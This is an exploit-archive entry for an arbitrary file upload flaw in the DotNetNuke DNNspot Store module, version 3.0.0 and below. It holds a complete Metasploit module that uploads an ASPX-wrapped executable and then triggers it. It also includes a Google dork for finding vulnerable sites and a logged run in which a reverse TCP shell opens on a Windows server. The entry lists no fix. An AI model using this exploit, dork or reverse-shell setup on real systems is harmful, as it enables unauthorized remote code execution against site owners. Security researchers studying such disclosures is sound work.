DotNetNuke DNNspot Store 3.0.0 Arbitary File Upload

2014-10-22 00:05:15

# Exploit Title: DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload
# Date: 23/01/2014
# Author: Glafkos Charalambous
# Version: 3.0.0
# Vendor: DNNspot
# Vendor URL: https://www.dnnspot.com
# Google Dork: inurl:/DesktopModules/DNNspot-Store/
#
# root@kali:~# msfcli exploit/windows/http/dnnspot_upload_exec payload=windows/shell/reverse_tcp LHOST=192.168.13.37 LPORT=31337 RHOST=192.168.31.33 RPORT=80 E
# [*] Initializing modules...
# payload => windows/shell/reverse_tcp
# LHOST => 192.168.13.37
# LPORT => 31337
# RHOST => 192.168.31.33
# [-] Handler failed to bind to 192.168.13.37:31337
# [*] Started reverse handler on 0.0.0.0:31337
# [*] 192.168.31.33:80 - Uploading payload...
# [*] 192.168.31.33:80 - Executing payload trrnegmv.aspx
# [*] Encoded stage with x86/shikata_ga_nai
# [*] Sending encoded stage (267 bytes) to 192.168.31.33
# [*] Command shell session 1 opened (192.168.13.37:31337 -> 192.168.31.33:56806) at 2014-08-28 20:56:23 +0300
# [+] Deleted trrnegmv.aspx
#
# Microsoft Windows [Version 6.2.9200]
# (c) 2012 Microsoft Corporation. All rights reserved.
#
# C:\Windows\SysWOW64\inetsrv>
#


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store
module versions below 3.0.0.
},
'Author' =>
[
'Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Targets' =>
[
[ 'DNNspot-Store / Windows', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 21 2014'))
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx")
})

if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit
@payload_name = "#{rand_text_alpha_lower(8)}.aspx"
exe = generate_payload_exe
aspx = Msf::Util::EXE.to_exe_aspx(exe)
post_data = Rex::MIME::Message.new
post_data.add_part(aspx, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
post_data.add_part("/DesktopModules/DNNspot-Store/ProductPhotos/", nil, nil, "form-data; name=\"folder\"")
post_data.add_part("1", nil, nil, "form-data; name=\"productId\"")
post_data.add_part("w00t", nil, nil, "form-data; name=\"type\"")
data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{peer} - Uploading payload...")
res = send_request_cgi({
"method" => "POST",
"uri" => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx"),
"data" => data,
"ctype" => "multipart/form-data; boundary=#{post_data.bound}"
})

unless res and res.code == 200
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end

register_files_for_cleanup(@payload_name)

print_status("#{peer} - Executing payload #{@payload_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("/DesktopModules/DNNspot-Store/ProductPhotos/",@payload_name)
})
end
end

Fixes

No fixes

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